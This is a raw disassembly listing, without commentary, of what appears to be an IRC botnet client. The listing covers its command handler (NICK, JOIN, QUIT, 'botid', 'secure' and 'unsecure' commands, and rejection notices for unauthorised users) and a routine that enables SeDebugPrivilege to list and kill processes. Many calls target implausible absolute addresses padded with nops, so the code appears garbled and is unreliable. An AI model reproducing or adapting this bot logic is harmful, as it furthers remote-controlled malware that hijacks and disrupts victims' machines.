		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414807


loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------


loc_414807:				; CODE XREF: sub_40EE72+597Dj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_435744
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43571C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43F700
		call	dword_43F5C8
		call	sub_40AC42
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F4
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356CC
		jmp	loc_4145BD
; ---------------------------------------------------------------------------


loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4149AD


loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_414997
; ---------------------------------------------------------------------------


loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_43565C
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435634
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------


loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_435630
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------


loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx


loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435604
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414AA8


loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------


loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4355BC


loc_414AB4:				; CODE XREF: sub_40EE72+489Fj
					; sub_40EE72+49BBj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414AC3:				; CODE XREF: sub_40EE72+4529j
					; sub_40EE72+4541j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_435594
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_435558


loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------


loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx


loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------


loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_435508
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354C8
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF6
; ---------------------------------------------------------------------------


loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354B8
		push	offset dword_4354AC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A0
		push	offset dword_435490
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------


loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8


loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi


loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------


loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------


loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl


loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414CFC


loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------


loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_435448
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F


loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1


loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_4353FC
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414DF6


loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_4353B0


loc_414E02:				; CODE XREF: sub_40EE72+3DA7j
					; sub_40EE72+4AC3j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+395Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------


loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435390
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_435354
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_435318
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438738
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E4


loc_414F40:				; CODE XREF: sub_40EE72+4346j
					; sub_40EE72+49D9j ...
		call	sub_40BFE1
		pop	ecx


loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx


loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B4 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E0 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435258
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C4


loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6C8
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43521C
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B


loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F0
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C0
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2760C3Fh
		nop
		push	eax
		call	dword_43F64C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------


loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43F624
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------


loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43F6D4
		mov	esi, eax


loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2611A31h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B68p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43F66C, ebx
		jz	loc_415334
		cmp	dword_43F588, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43F688
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43F66C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322


loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43F588
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43F688
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43F534
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------


loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]


loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]


loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------


loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2700537h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27B0BD0h
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------


loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi


loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx


loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax


loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438838
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_438800
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------


loc_4153C2:				; CODE XREF: sub_41533B+7Ej
